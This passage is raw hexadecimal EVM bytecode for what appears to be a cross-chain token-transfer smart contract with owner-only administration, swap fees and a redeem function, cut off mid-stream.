666f6044820152651c8818d85b1b60d21b6064820152608401610b67565b600080866001600160a01b031685876040516136c09190614da9565b60006040518083038185875af1925050503d80600081146136fd576040519150601f19603f3d011682016040523d82523d6000602084013e613702565b606091505b5091509150613713878383876137af565b979650505050505050565b60008181526001830160205260408120541515610ec9565b600081815260018301602052604081205461377d575081546001818101845560008481526020808220909301849055845484825282860190935260409020919091556107bd565b5060006107bd565b600082600001828154811061379c5761379c614116565b9060005260206000200154905092915050565b6060831561381e578251600003613817576001600160a01b0385163b6138175760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610b67565b5081611f4e565b611f4e83838151156138335781518083602001fd5b8060405162461bcd60e51b8152600401610b679190614a05565b60006020828403121561385f57600080fd5b81356001600160e01b031981168114610ec957600080fd5b6001600160a01b0381168114611e7a57600080fd5b803561389781613877565b919050565b600080604083850312156138af57600080fd5b82356138ba81613877565b915060208301356138ca81613877565b809150509250929050565b60005b838110156138f05781810151838201526020016138d8565b50506000910152565b600081518084526139118160208601602086016138d5565b601f01601f19169290920160200192915050565b84815260806020820152600061393e60808301866138f9565b6001600160a01b03949094166040830152506060015292915050565b60006020828403121561396c57600080fd5b5035919050565b80516001600160a01b0390811683526020808301519091169083015260408082015190830152606080820151151590830152608090810151910152565b60a081016107bd8284613973565b6001600160401b0381168114611e7a57600080fd5b8035613897816139be565b6000602082840312156139f057600080fd5b8135610ec9816139be565b60008060408385031215613a0e57600080fd5b8235613a1981613877565b946020939093013593505050565b600060208284031215613a3957600080fd5b8135610ec981613877565b600080600060608486031215613a5957600080fd5b8335613a6481613877565b95602085013595506040909401359392505050565b6020808252825182820181905260009190848201906040850190845b81811015613abb57613aa8838551613973565b9284019260a09290920191600101613a95565b50909695505050505050565b600080600060608486031215613adc57600080fd5b833592506020840135613aee81613877565b929592945050506040919091013590565b8015158114611e7a57600080fd5b803561389781613aff565b634e487b7160e01b600052604160045260246000fd5b60405160e081016001600160401b0381118282101715613b5057613b50613b18565b60405290565b604080519081016001600160401b0381118282101715613b5057613b50613b18565b60405160a081016001600160401b0381118282101715613b5057613b50613b18565b604051601f8201601f191681016001600160401b0381118282101715613bc257613bc2613b18565b604052919050565b60006001600160401b03821115613be357613be3613b18565b50601f01601f191660200190565b6000613c04613bff84613bca565b613b9a565b9050828152838383011115613c1857600080fd5b828260208301376000602084830101529392505050565b600082601f830112613c4057600080fd5b610ec983833560208501613bf1565b60006001600160401b03821115613c6857613c68613b18565b5060051b60200190565b600082601f830112613c8357600080fd5b81356020613c93613bff83613c4f565b82815260059290921b84018101918181019086841115613cb257600080fd5b8286015b84811015613cd6578035613cc981613877565b8352918301918301613cb6565b509695505050505050565b600060e08284031215613cf357600080fd5b613cfb613b2e565b9050613d068261388c565b8152613d146020830161388c565b60208201526040820135604082015260608201356060820152613d3960808301613b0d565b608082015260a08201356001600160401b0380821115613d5857600080fd5b613d6485838601613c2f565b60a084015260c0840135915080821115613d7d57600080fd5b50613d8a84828501613c72565b60c08301525092915050565b600080600080600080600060e0888a031215613db157600080fd5b8735613dbc816139be565b96506020880135613dcc81613877565b95506040880135613ddc81613877565b9450606088013593506080880135925060a0880135613dfa81613aff565b915060c08801356001600160401b03811115613e1557600080fd5b613e218a828b01613ce1565b91505092959891949750929550565b600060208284031215613e4257600080fd5b81356001600160401b03811115613e5857600080fd5b820160a08185031215610ec957600080fd5b60008060408385031215613e7d57600080fd5b50508035926020909101359150565b634e487b7160e01b600052602160045260246000fd5b60208082528251828201819052600091906040908185019086840185805b83811015613f015782518051865287015160028110613eed57634e487b7160e01b83526021600452602483fd5b858801529385019391860191600101613ec0565b509298975050505050505050565b60008060408385031215613f2257600080fd5b8235613f2d816139be565b915060208301356138ca81613aff565b60008060408385031215613f5057600080fd5b8235915060208301356138ca81613877565b60008060008060008060c08789031215613f7b57600080fd5b8635613f86816139be565b95506020870135613f9681613877565b9450604087013593506060870135613fad81613aff565b925060808701356001600160401b0380821115613fc957600080fd5b9088019060e0828b031215613fdd57600080fd5b613fe5613b2e565b613fee8361388c565b815260208301356020820152604083013560408201526060830135606082015261401a60808401613b0d565b608082015260a08301358281111561403157600080fd5b61403d8c828601613c2f565b60a08301525061404f60c0840161388c565b60c0820152935060a089013591508082111561406a57600080fd5b5061407789828a01613ce1565b9150509295509295509295565b8481526001600160401b03841660208201526080604082015260006140ac60808301856138f9565b828103606084015261371381856138f9565b600080604083850312156140d157600080fd5b8235613f2d81613877565b600181811c908216806140f057607f821691505b60208210810361411057634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561413e57600080fd5b5051919050565b634e487b7160e01b600052601160045260246000fd5b808201808211156107bd576107bd614145565b60006001820161418057614180614145565b5060010190565b600081518084526020808501945080840160005b838110156141c05781516001600160a01b03168752958201959082019060010161419b565b509495945050505050565b60208152600060018060a01b038084511660208401528060208501511660408401525060408301516060830152606083015160808301526080830151151560a083015260a083015160e060c08401526142286101008401826138f9565b905060c0840151601f198483030160e085015261247e8282614187565b805161389781613877565b60006020828403121561426257600080fd5b8151610ec981613877565b600060406001600160401b038516835260208181850152845160a08386015261429960e08601826138f9565b905081860151603f19808784030160608801526142b683836138f9565b88860151888203830160808a01528051808352908601945060009350908501905b8084101561430957845180516001600160a01b03168352860151868301529385019360019390930192908601906142d7565b5060608901516001600160a01b031660a08901526080890151888203830160c08a0152955061141381876138f9565b6000808335601e1984360301811261434f57600080fd5b8301803591506001600160401b0382111561436957600080fd5b60200191503681900382131561210357600080fd5b6000808335601e1984360301811261439557600080fd5b83016020810192503590506001600160401b038111156143b457600080fd5b80360382131561210357600080fd5b81835281816020850137506000828201602090810191909152601f909101601f19169091010190565b8183526000602080850194508260005b858110156141c057813561440f81613877565b6001600160a01b031687528183013583880152604096870196909101906001016143fc565b60208152813560208201526000602083013561444f816139be565b6001600160401b03808216604085015261446c604086018661437e565b925060a0606086015261448360c0860184836143c3565b925050614493606086018661437e565b601f19808786030160808801526144ab8583856143c3565b945060808801359250601e198836030183126144c657600080fd5b602092880192830192359150838211156144df57600080fd5b8160061b36038313156144f157600080fd5b8685030160a08701526137138482846143ec565b601f821115610a4057600081815260208120601f850160051c8101602086101561452c5750805b601f850160051c820191505b8181101561454b57828155600101614538565b505050505050565b6001600160401b0383111561456a5761456a613b18565b61457e8361457883546140dc565b83614505565b6000601f8411600181146145b2576000851561459a5750838201355b600019600387901b1c1916600186901b17835561307f565b600083815260209020601f19861690835b828110156145e357868501358255602094850194600190920191016145c3565b50868210156146005760001960f88860031b161c19848701351681555b505060018560011b0183555050505050565b6000808335601e1984360301811261462957600080fd5b8301803591506001600160401b0382111561464357600080fd5b6020019150600681901b360382131561210357600080fd5b80820281158282048414176107bd576107bd614145565b813561467d81613877565b81546001600160a01b0319166001600160a01b03919091161781556020919091013560019190910155565b680100000000000000008311156146c1576146c1613b18565b80548382558084101561472f5760016001600160ff1b0382811683146146e9576146e9614145565b80861686146146fa576146fa614145565b5060008381526020812086831b81019084841b015b8082101561472a57828255828483015560028201915061470f565b505050505b5060008181526020812083915b8581101561454b5761474e8383614672565b604092909201916002919091019060010161473c565b8135815560018101602083013561477a816139be565b6001600160401b038082166001600160401b03198454161783556147a16040860186614338565b935091506147b3838360028701614553565b6147c06060860186614338565b935091506147d2838360038701614553565b60808501359250601e198536030183126147eb57600080fd5b91840191823591508082111561480057600080fd5b506020820191508060061b360382131561481957600080fd5b6121428183600486016146a8565b60006020828403121561483957600080fd5b81356001600160401b0381111561484f57600080fd5b8201601f8101841361486057600080fd5b611f4e84823560208401613bf1565b805161389781613aff565b6000614888613bff84613bca565b905082815283838301111561489c57600080fd5b610ec98360208301846138d5565b600082601f8301126148bb57600080fd5b610ec98383516020850161487a565b600082601f8301126148db57600080fd5b815160206148eb613bff83613c4f565b82815260059290921b8401810191818101908684111561490a57600080fd5b8286015b84811015613cd657805161492181613877565b835291830191830161490e565b60006020828403121561494057600080fd5b81516001600160401b038082111561495757600080fd5b9083019060e0828603121561496b57600080fd5b614973613b2e565b61497c83614245565b815261498a60208401614245565b602082015260408301516040820152606083015160608201526149af6080840161486f565b608082015260a0830151828111156149c657600080fd5b6149d2878286016148aa565b60a08301525060c0830151828111156149ea57600080fd5b6149f6878286016148ca565b60c08301525095945050505050565b602081526000610ec960208301846138f9565b818103818111156107bd576107bd614145565b600082601f830112614a3c57600080fd5b81356020614a4c613bff83613c4f565b82815260069290921b84018101918181019086841115614a6b57600080fd5b8286015b84811015613cd65760408189031215614a885760008081fd5b614a90613b56565b8135614a9b81613877565b81528185013585820152835291830191604001614a6f565b600060a08236031215614ac557600080fd5b614acd613b78565b82358152614add602084016139d3565b602082015260408301356001600160401b0380821115614afc57600080fd5b614b0836838701613c2f565b60408401526060850135915080821115614b2157600080fd5b614b2d36838701613c2f565b60608401526080850135915080821115614b4657600080fd5b50614b5336828601614a2b565b60808301525092915050565b85815284602082015260a060408201526000614b7e60a0830186614187565b6001600160a01b0394909416606083015250608001529392505050565b602081526000825160806020840152614bb760a08401826138f9565b905060018060a01b03602085015116604084015260408401516060840152606084015160808401528091505092915050565b600082614c0657634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215614c1d57600080fd5b8151610ec981613aff565b600060018060a01b03808916835260c06020840152614c4a60c08401896138f9565b968116604084015260608301959095525091909216608082015260a0015292915050565b600060208284031215614c8057600080fd5b81516001600160401b03811115614c9657600080fd5b8201601f81018413614ca757600080fd5b611f4e8482516020840161487a565b81516001600160401b03811115614ccf57614ccf613b18565b614ce381614cdd84546140dc565b84614505565b602080601f831160018114614d185760008415614d005750858301515b600019600386901b1c1916600185901b17855561454b565b600085815260208120601f198616915b82811015614d4757888601518255948401946001909101908401614d28565b5085821015614d655787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b600060018060a01b03808716835260806020840152614d9760808401876138f9565b94166040830152506060015292915050565b60008251614dbb8184602087016138d5565b919091019291505056fea26469706673582212202dbe1d88e0f4701fdb4e533c8229d35376380244912bfe0cf038ac5c045727ce64736f6c6343000813003300000000000000000000000080226fc0ee2b096224eeac085bb9a8cba1146f7d000000000000000000000000514910771af9ca656af840dff83e8264ecf986ca00000000000000000000000068b3465833fb72a70ecdf485e0e4c7bd8665fc450000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d00000000000000000000000000000000000000000000000000000000000001f4000000000000000000000000d4698b2b07969f592bffb3c097a1cbd28faee538	6080604052600436106102085760003560e01c806375c67c66116101185780639a791e84116100a0578063d0d1fc3d1161006f578063d0d1fc3d146106dc578063db04fa491461070c578063deadbc141461072c578063eab5b02c1461074c578063f2fde38b1461076c57600080fd5b80639a791e8414610656578063b0f479a114610669578063b3f006741461069c578063cf6730f8146106bc57600080fd5b806385572ffb116100e757806385572ffb146105ab5780638d9d89fe146105cb5780638da5cb5b146105f857806396d3b83d14610616578063988950951461063657600080fd5b806375c67c661461051057806379ba50971461054057806380dbe4591461055557806382b55c7b1461057557600080fd5b80633fc8cef31161019b57806351cff8d91161016a57806351cff8d91461045d57806354cf2aeb1461047d5780635aacd56a146104935780636122750f146104c05780636159ada1146104e057600080fd5b80633fc8cef3146103985780634030d521146103b85780634b127efd146103e85780634dd315601461043d57600080fd5b8063263596a5116101d7578063263596a5146102c75780632c94785a146102ec5780633aeac4e1146103195780633e9577311461033957600080fd5b806301ffc9a7146102145780630dc913061461024957806320446c0b1461028157806324a9d853146102a357600080fd5b3661020f57005b600080fd5b34801561022057600080fd5b5061023461022f36600461384d565b61078c565b60405190151581526020015b60405180910390f35b34801561025557600080fd5b50601154610269906001600160a01b031681565b6040516001600160a01b039091168152602001610240565b34801561028d57600080fd5b506102a161029c36600461389c565b6107c3565b005b3480156102af57600080fd5b506102b96103e881565b604051908152602001610240565b3480156102d357600080fd5b506102dc6107fc565b6040516102409493929190613925565b3480156102f857600080fd5b5061030c61030736600461395a565b6108bb565b60405161024091906139b0565b34801561032557600080fd5b506102a161033436600461389c565b610996565b34801561034557600080fd5b5061037961035436600461395a565b600d60205260009081526040902080546001909101546001600160a01b039091169082565b604080516001600160a01b039093168352602083019190915201610240565b3480156103a457600080fd5b50600a54610269906001600160a01b031681565b3480156103c457600080fd5b506102346103d33660046139de565b60076020526000908152604090205460ff1681565b3480156103f457600080fd5b506104086104033660046139fb565b610a45565b604080516001600160a01b0396871681529590941660208601529284019190915215156060830152608082015260a001610240565b34801561044957600080fd5b506102a16104583660046139fb565b610aa3565b34801561046957600080fd5b506102a1610478366004613a27565b610ccb565b34801561048957600080fd5b506102b960135481565b34801561049f57600080fd5b506104b36104ae366004613a44565b610d82565b6040516102409190613a79565b3480156104cc57600080fd5b506102a16104db366004613ac7565b610ed0565b3480156104ec57600080fd5b506102346104fb366004613a27565b60086020526000908152604090205460ff1681565b34801561051c57600080fd5b5061023461052b3660046139de565b60066020526000908152604090205460ff1681565b34801561054c57600080fd5b506102a1611249565b34801561056157600080fd5b506102b9610570366004613d96565b6112f3565b34801561058157600080fd5b506102b9610590366004613a27565b6001600160a01b03166000908152600c602052604090205490565b3480156105b757600080fd5b506102a16105c6366004613e30565b611421565b3480156105d757600080fd5b506105eb6105e6366004613e6a565b6117b5565b6040516102409190613ea2565b34801561060457600080fd5b506000546001600160a01b0316610269565b34801561062257600080fd5b506102a1610631366004613f0f565b6118e5565b34801561064257600080fd5b506102a1610651366004613f3d565b611918565b6102b9610664366004613f62565b611947565b34801561067557600080fd5b507f00000000000000000000000080226fc0ee2b096224eeac085bb9a8cba1146f7d610269565b3480156106a857600080fd5b50601454610269906001600160a01b031681565b3480156106c857600080fd5b506102a16106d7366004613e30565b611bdd565b3480156106e857600080fd5b506106fc6106f736600461395a565b611cc0565b6040516102409493929190614084565b34801561071857600080fd5b506102a1610727366004613f0f565b611e03565b34801561073857600080fd5b50601254610269906001600160a01b031681565b34801561075857600080fd5b506102a16107673660046140be565b611e36565b34801561077857600080fd5b506102a1610787366004613a27565b611e69565b60006001600160e01b031982166385572ffb60e01b14806107bd57506001600160e01b031982166301ffc9a760e01b145b92915050565b6107cb611e7d565b601180546001600160a01b039283166001600160a01b03199182161790915560128054939092169216919091179055565b600060606000806002546005600360009054906101000a90046001600160a01b031660045482805461082d906140dc565b80601f0160208091040260200160405190810160405280929190818152602001828054610859906140dc565b80156108a65780601f1061087b576101008083540402835291602001916108a6565b820191906000526020600020905b81548152906001019060200180831161088957829003601f168201915b50505050509250935093509350935090919293565b6040805160a081018252600080825260208083018290528284018290526060830182905260808301829052848252600d81528382208451808601865281546001600160a01b0316808252600190920154818401908152918452600c909252939091209251835492939192811061093357610933614116565b60009182526020918290206040805160a081018252600590930290910180546001600160a01b03908116845260018201541693830193909352600283015490820152600382015460ff161515606082015260049091015460808201529392505050565b61099e611e7d565b6040516370a0823160e01b81523060048201526000906001600160a01b038316906370a0823190602401602060405180830381865afa1580156109e5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a09919061412c565b905080600003610a2c57604051630686827b60e51b815260040160405180910390fd5b610a406001600160a01b0383168483611ed2565b505050565b600c6020528160005260406000208181548110610a6157600080fd5b6000918252602090912060059091020180546001820154600283015460038401546004909401546001600160a01b0393841696509290911693509160ff169085565b6001600160a01b0382166000908152600c60205260408120805483908110610acd57610acd614116565b60009182526020918290206040805160a081018252600590930290910180546001600160a01b03908116845260018201541693830193909352600283015490820152600382015460ff16158015606083015260049092015460808201529150610b705760405162461bcd60e51b815260206004820152601060248201526f105b1c9958591e481c995919595b595960821b60448201526064015b60405180910390fd5b6001600160a01b0383166000908152600c6020526040902080546001919084908110610b9e57610b9e614116565b906000526020600020906005020160030160006101000a81548160ff02191690831515021790555080602001516001600160a01b0316336001600160a01b031614610c2b5760405162461bcd60e51b815260206004820181905260248201527f4d757374206265206578656375746564206279207468652072656365697665726044820152606401610b67565b60016080820151610c3e90600e90611f35565b14610c645780608001516040516305b73c1360e51b8152600401610b6791815260200190565b6080810151610c799060005b600e9190611f41565b5060408101518151610c98916001600160a01b03909116908590611ed2565b60808101516040517fef3bf8c64bc480286c4f3503b870ceb23e648d2d902e31fb7bb46680da6de8ad90600090a2505050565b610cd3611e7d565b476000819003610cf657604051630686827b60e51b815260040160405180910390fd5b6000826001600160a01b03168260405160006040518083038185875af1925050503d8060008114610d43576040519150601f19603f3d011682016040523d82523d6000602084013e610d48565b606091505b5050905080610a4057604051639d11f56360e01b81523360048201526001600160a01b038416602482015260448101839052606401610b67565b60606000826001600160401b03811115610d9e57610d9e613b18565b604051908082528060200260200182016040528015610df757816020015b6040805160a081018252600080825260208083018290529282018190526060820181905260808201528252600019909201910181610dbc5790505b50905060005b83811015610ec5576001600160a01b0386166000908152600c60205260409020610e27828761415b565b81548110610e3757610e37614116565b60009182526020918290206040805160a081018252600590930290910180546001600160a01b03908116845260018201541693830193909352600283015490820152600382015460ff161515606082015260049091015460808201528251839083908110610ea757610ea7614116565b60200260200101819052508080610ebd9061416e565b915050610dfd565b5090505b9392505050565b610ed8611e7d565b6001610ee5600e85611f35565b14610f06576040516305b73c1360e51b815260048101849052602401610b67565b610f11836000610c70565b506001600160a01b0382166000908152600c60205260409020805482908110610f3c57610f3c614116565b600091825260209091206003600590920201015460ff1615610f935760405162461bcd60e51b815260206004820152601060248201526f105b1c9958591e481c995919595b595960821b6044820152606401610b67565b6001600160a01b0382166000908152600c6020526040902080546001919083908110610fc157610fc1614116565b60009182526020808320600592909202909101600301805460ff191693151593909317909255848152600b82526040808220815160a0810183528154815260018201546001600160401b031694810194909452600281018054939493919284019161102b906140dc565b80601f0160208091040260200160405190810160405280929190818152602001828054611057906140dc565b80156110a45780601f10611079576101008083540402835291602001916110a4565b820191906000526020600020905b81548152906001019060200180831161108757829003601f168201915b505050505081526020016003820180546110bd906140dc565b80601f01602080910402602001604051908101604052809291908181526020018280546110e9906140dc565b80156111365780601f1061110b57610100808354040283529160200191611136565b820191906000526020600020905b81548152906001019060200180831161111957829003601f168201915b5050505050815260200160048201805480602002602001604051908101604052809291908181526020016000905b828210156111ac576000848152602090819020604080518082019091526002850290910180546001600160a01b03168252600190810154828401529083529092019101611164565b505050508152505090506112188382608001516000815181106111d1576111d1614116565b60200260200101516020015183608001516000815181106111f4576111f4614116565b6020026020010151600001516001600160a01b0316611ed29092919063ffffffff16565b60405184907fef3bf8c64bc480286c4f3503b870ceb23e648d2d902e31fb7bb46680da6de8ad90600090a250505050565b6001546001600160a01b0316331461129c5760405162461bcd60e51b815260206004820152601660248201527526bab9ba10313290383937b837b9b2b21037bbb732b960511b6044820152606401610b67565b60008054336001600160a01b0319808316821784556001805490911690556040516001600160a01b0390921692909183917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a350565b60008061133b888460405160200161130b91906141cb565b604051602081830303815290604052898988611328576000611335565b6009546001600160a01b03165b8a611f56565b90506000306001600160a01b031663b0f479a16040518163ffffffff1660e01b8152600401602060405180830381865afa15801561137d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113a19190614250565b6040516320487ded60e01b81529091506001600160a01b038216906320487ded906113d2908d90869060040161426d565b602060405180830381865afa1580156113ef573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611413919061412c565b9a9950505050505050505050565b336001600160a01b037f00000000000000000000000080226fc0ee2b096224eeac085bb9a8cba1146f7d161461146c576040516335fdcccd60e21b8152336004820152602401610b67565b61147c60408201602083016139de565b6114896040830183614338565b8101906114969190613a27565b6001600160401b03821660009081526007602052604090205460ff166114da5760405163042784cf60e31b81526001600160401b0383166004820152602401610b67565b6001600160a01b03811660009081526008602052604090205460ff1661151e576040516368692cbb60e11b81526001600160a01b0382166004820152602401610b67565b6040516319ece61f60e31b8152309063cf6730f890611541908690600401614434565b600060405180830381600087803b15801561155b57600080fd5b505af192505050801561156c575060015b610a40573d80801561159a576040519150601f19603f3d011682016040523d82523d6000602084013e61159f565b606091505b506115ac84356001610c70565b5083356000908152600b6020526040902084906115c98282614764565b50600090506115db6060860186614338565b8101906115e89190614827565b9050600081806020019051810190611600919061492e565b9050600c600082602001516001600160a01b03166001600160a01b031681526020019081526020016000206040518060a001604052808360c0015160008151811061164d5761164d614116565b60200260200101516001600160a01b0316815260200183602001516001600160a01b031681526020018880608001906116869190614612565b600081811061169757611697614116565b604090810292909201602090810135845260008482018190528c35948401859052865460018082018955978252828220875160059092020180546001600160a01b03199081166001600160a01b0393841617825588850151828b0180548316918516919091179055888701516002830155606089015160038301805460ff1916911515919091179055608090980151600490910155845180860186528984018051831682525182168352600c845285832054818501908152878452600d9094529185902091518254909716961695909517855551939094019290925590519091507f55bc02a9ef6f146737edeeb425738006f67f077e7138de3bf84a15bde1a5b56f906117a5908690614a05565b60405180910390a2505050505050565b606060006117c3600e6120e1565b90506000816117d2858761415b565b116117dd57836117e7565b6117e78583614a18565b90506000816001600160401b0381111561180357611803613b18565b60405190808252806020026020018201604052801561184857816020015b60408051808201909152600080825260208201528152602001906001900390816118215790505b50905060005b828110156118db5760008061186e611866848b61415b565b600e906120ec565b91509150604051806040016040528083815260200182600181111561189557611895613e8c565b60018111156118a6576118a6613e8c565b8152508484815181106118bb576118bb614116565b6020026020010181905250505080806118d39061416e565b91505061184e565b5095945050505050565b6118ed611e7d565b6001600160401b03919091166000908152600660205260409020805460ff1916911515919091179055565b611920611e7d565b601391909155601480546001600160a01b0319166001600160a01b03909216919091179055565b6001600160401b038616600090815260066020526040812054879060ff1661198d57604051630a503cdb60e01b81526001600160401b0382166004820152602401610b67565b866001600160a01b0381166119b55760405163502ffa3f60e11b815260040160405180910390fd5b600a5485516000916001600160a01b03908116911603611a4857600a60009054906101000a90046001600160a01b03166001600160a01b031663d0e30db087602001516040518263ffffffff1660e01b81526004016000604051808303818588803b158015611a2357600080fd5b505af1158015611a37573d6000803e3d6000fd5b505050505085602001519050611b52565b85516040516370a0823160e01b81523060048201526000916001600160a01b0316906370a0823190602401602060405180830381865afa158015611a90573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ab4919061412c565b60208801518851919250611ad5916001600160a01b0316903390309061210a565b86516040516370a0823160e01b81523060048201526000916001600160a01b0316906370a0823190602401602060405180830381865afa158015611b1d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b41919061412c565b9050611b4d8282614a18565b925050505b6000611b5e8783612148565b90508715611ba057611b978b8b88604051602001611b7c91906141cb565b6040516020818303038152906040528a60c00151858e612487565b94505050611bd1565b611b978b8b88604051602001611bb691906141cb565b6040516020818303038152906040528a60c00151858e6128f2565b50509695505050505050565b333014611bfd5760405163029a949d60e31b815260040160405180910390fd5b611c0d60408201602083016139de565b611c1a6040830183614338565b810190611c279190613a27565b6001600160401b03821660009081526007602052604090205460ff16611c6b5760405163042784cf60e31b81526001600160401b0383166004820152602401610b67565b6001600160a01b03811660009081526008602052604090205460ff16611caf576040516368692cbb60e11b81526001600160a01b0382166004820152602401610b67565b610a40611cbb84614ab3565b612bd3565b600b6020526000908152604090208054600182015460028301805492936001600160401b0390921692611cf2906140dc565b80601f0160208091040260200160405190810160405280929190818152602001828054611d1e906140dc565b8015611d6b5780601f10611d4057610100808354040283529160200191611d6b565b820191906000526020600020905b815481529060010190602001808311611d4e57829003601f168201915b505050505090806003018054611d80906140dc565b80601f0160208091040260200160405190810160405280929190818152602001828054611dac906140dc565b8015611df95780601f10611dce57610100808354040283529160200191611df9565b820191906000526020600020905b815481529060010190602001808311611ddc57829003601f168201915b5050505050905084565b611e0b611e7d565b6001600160401b03919091166000908152600760205260409020805460ff1916911515919091179055565b611e3e611e7d565b6001600160a01b03919091166000908152600860205260409020805460ff1916911515919091179055565b611e71611e7d565b611e7a81613213565b50565b6000546001600160a01b03163314611ed05760405162461bcd60e51b815260206004820152601660248201527527b7363c9031b0b63630b1363290313c9037bbb732b960511b6044820152606401610b67565b565b6040516001600160a01b038316602482015260448101829052610a4090849063a9059cbb60e01b906064015b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b0319909316929092179091526132bc565b6000610ec9838361338e565b6000611f4e8484846133fe565b949350505050565b611f916040518060a0016040528060608152602001606081526020016060815260200160006001600160a01b03168152602001606081525090565b604080516001808252818301909252600091816020015b6040805180820190915260008082526020820152815260200190600190039081611fa857905050905060006040518060400160405280886001600160a01b03168152602001878152509050808260008151811061200757612007614116565b60209081029190910101526040805160a081019091526001600160a01b038a1660c08201526000908060e0810160405160208183030381529060405281526020018a6040516020016120599190614a05565b6040516020818303038152906040528152602001848152602001876001600160a01b031681526020016120d160405180602001604052808981525060408051915160248084019190915281518084039091018152604490920190526020810180516001600160e01b03166397a657c960e01b17905290565b90529a9950505050505050505050565b60006107bd8261341b565b60008080806120fb8686613426565b909450925050505b9250929050565b6040516001600160a01b03808516602483015283166044820152606481018290526121429085906323b872dd60e01b90608401611efe565b50505050565b600082608001511561237857825160125461216d91906001600160a01b031684613451565b6040805160028082526060820183526000926020830190803683370190505090508360000151816000815181106121a6576121a6614116565b6001600160a01b039283166020918202929092010152600a548251911690829060019081106121d7576121d7614116565b6001600160a01b039283166020918202929092010152600a546040516370a0823160e01b815230600482015260009291909116906370a0823190602401602060405180830381865afa158015612231573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612255919061412c565b6012546040808801519051635c11d79560e01b81529293506001600160a01b0390911691635c11d7959161229d918891908790309068056bc75e2d630fffff90600401614b5f565b600060405180830381600087803b1580156122b757600080fd5b505af11580156122cb573d6000803e3d6000fd5b5050600a546040516370a0823160e01b8152306004820152600093506001600160a01b0390911691506370a0823190602401602060405180830381865afa15801561231a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061233e919061412c565b9050600061234c8383614a18565b600a5460115491975087925061236f916001600160a01b03918216911683613451565b50505050612391565b825160115461239191906001600160a01b031684613451565b6040805160808101825260a0850151815230602082015280820184905260608086015190820152601154915163b858183f60e01b815290916001600160a01b03169063b858183f906123e7908490600401614b9b565b6020604051808303816000875af1158015612406573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061242a919061412c565b9150600061243b6103e8606461465b565b601354612448908561465b565b6124529190614be9565b60145460c0870151919250612474916001600160a01b03908116911683611ed2565b61247e8184614a18565b95945050505050565b6001600160401b038616600090815260066020526040812054879060ff166124cd57604051630a503cdb60e01b81526001600160401b0382166004820152602401610b67565b866001600160a01b0381166124f55760405163502ffa3f60e11b815260040160405180910390fd5b600954600090612516908a908a908a908a906001600160a01b03168a611f56565b90506000306001600160a01b031663b0f479a16040518163ffffffff1660e01b8152600401602060405180830381865afa158015612558573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061257c9190614250565b90506000816001600160a01b03166320487ded8d856040518363ffffffff1660e01b81526004016125ae92919061426d565b602060405180830381865afa1580156125cb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125ef919061412c565b6009546040516370a0823160e01b81523060048201529192506001600160a01b0316906370a0823190602401602060405180830381865afa158015612638573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061265c919061412c565b8111156126f3576009546040516370a0823160e01b81523060048201526001600160a01b03909116906370a0823190602401602060405180830381865afa1580156126ab573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126cf919061412c565b604051634787a10360e11b8152600481019190915260248101829052604401610b67565b60095460405163095ea7b360e01b81526001600160a01b038481166004830152602482018490529091169063095ea7b3906044016020604051808303816000875af1158015612746573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061276a9190614c0b565b50604051636eb1769f60e11b81523060048201526001600160a01b0383811660248301528991908b169063dd62ed3e90604401602060405180830381865afa1580156127ba573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906127de919061412c565b101561280f576127f96001600160a01b038a168360006134f1565b61280f6001600160a01b038a16836000196134f1565b6040516396f4e9f960e01b81526001600160a01b038316906396f4e9f99061283d908f90879060040161426d565b6020604051808303816000875af115801561285c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612880919061412c565b95508b6001600160401b0316867f437cb3c5ba4364504dda6ba3c906ffb0897c7beeb1675f3aaf22a1b9a99b39948d8d8d8d600960009054906101000a90046001600160a01b0316886040516128db96959493929190614c28565b60405180910390a350505050509695505050505050565b6001600160401b038616600090815260066020526040812054879060ff1661293857604051630a503cdb60e01b81526001600160401b0382166004820152602401610b67565b866001600160a01b0381166129605760405163502ffa3f60e11b815260040160405180910390fd5b60006129718989898960008a611f56565b90506000306001600160a01b031663b0f479a16040518163ffffffff1660e01b8152600401602060405180830381865afa1580156129b3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906129d79190614250565b90506000816001600160a01b03166320487ded8d856040518363ffffffff1660e01b8152600401612a0992919061426d565b602060405180830381865afa158015612a26573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612a4a919061412c565b905047811115612a7657604051634787a10360e11b815247600482015260248101829052604401610b67565b604051636eb1769f60e11b81523060048201526001600160a01b0383811660248301528991908b169063dd62ed3e90604401602060405180830381865afa158015612ac5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612ae9919061412c565b1015612b1a57612b046001600160a01b038a168360006134f1565b612b1a6001600160a01b038a16836000196134f1565b816001600160a01b03166396f4e9f9828e866040518463ffffffff1660e01b8152600401612b4992919061426d565b60206040518083038185885af1158015612b67573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190612b8c919061412c565b95508b6001600160401b0316867f437cb3c5ba4364504dda6ba3c906ffb0897c7beeb1675f3aaf22a1b9a99b39948d8d8d8d6000886040516128db96959493929190614c28565b805160025560608101518051612bf191602091810182019101614c6e565b600590612bfe9082614cb6565b508060800151600081518110612c1657612c16614116565b60